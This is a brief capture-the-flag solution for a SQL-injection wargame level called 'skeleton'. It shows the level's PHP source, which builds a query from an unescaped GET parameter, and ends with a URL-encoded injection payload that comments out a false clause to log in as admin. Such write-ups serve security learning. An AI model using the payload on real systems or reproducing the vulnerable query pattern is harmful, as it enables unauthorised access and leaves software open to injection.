SKELETON Clear!

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\\.|\\(\\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>

#?pw=%27%20or%20id=%27admin%27%23